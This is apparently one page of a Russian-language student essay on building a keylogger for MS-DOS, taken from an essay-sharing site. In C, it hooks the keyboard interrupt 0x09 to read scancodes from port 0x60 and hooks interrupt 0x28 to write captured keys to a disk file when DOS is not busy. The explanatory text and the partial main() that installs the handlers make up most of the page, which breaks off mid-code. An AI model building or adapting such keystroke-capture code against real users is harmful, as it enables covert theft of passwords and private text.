Кейлоггер под MS-DOS
| Категория реферата: Рефераты по информатике, программированию
| Теги реферата: бесплатные рефераты на тему, шпоры по педагогике
| Добавил(а) на сайт: Юмашев.
Предыдущая страница реферата | 1 2 3 4 5 6 7 | Следующая страница реферата
// ... (пишем в файл, при этом можем ещё и флаг занятости ДОСа проверить, на всякий пожарный)
flag = 0; // ясен пень - флаг снова надо сбросить
// (но только если нам удалось записать символ)
}
oldhdl_28(); // Вызываем следующий обработчик 0x28
}
void interrupt far newhdl(...) // Новый обработчик для прерывания 0x09 (клава)
{
symbol = inportb(0x60); // Читаем символ
flag = 1; // Ставим флаг в единицу (то есть даём "двадцать восьмому"
// знать о том, что хотим записать символ в файл)
oldhdl(); // А теперь вызываем старый обработчик прерывания от клавы
}
Если происходит прерывание 0x09, то вызываться должен обработчик newhdl(). Он считывает нажатую (или отпущенную) клавишу в symbol и ставит свой флаг flag в еденичку. При следующем вызове прерывания 0x28 запустится функция newhdl_28(), которая, сверяясь с флагом flag, при необходимости, пишет symbol в файл на диске. Естественно, нам ещё надо будет объявить указатели на функции oldhdl и oldhdl_28, считать в них значения, указывающие на старые обработчики прерываний 0x09 и 0x28 соответственно, и установить в качестве новых обработчиков newhdl() и newhdl_28(). Всё это нужно сделать в функции main() и, разумеется, до вызова keep(). Переменные symbol и flag также должны быть объявлены и преравнены нулю (если этого не сделать, возможны сбои). Если будем проверять флаг занятости ДОС, необходимо объявить указатель на тот самый флаг занятости, вызвать прерывание 0x21 с регистром AH=0x34 и записав в этот указатель значение ES:BX, т.е. DOSflag=MK_FP(_ES,_BX). После этого можем им пользоваться при проверке.
int main()
{
_AH=0x34;
asm int 0x21;
DOSflag = MK_FP(_ES, _BX); // Получили флаг занятости дос по указателю DOSflag
oldhdl=getvect(0x09);
oldhdl_28=getvect(0x28); // Плучили адреса старых обработчиков прерываний 0x09 и 0x28
setvect(0x09, newhdl);
setvect(0x28, newhdl_28); // Установили свои обработчики на прерывания 0x09 и 0x28
Рекомендуем скачать другие рефераты по теме: реферат на тему язык, реферат образ жизни.
Категории:
Предыдущая страница реферата | 1 2 3 4 5 6 7 | Следующая страница реферата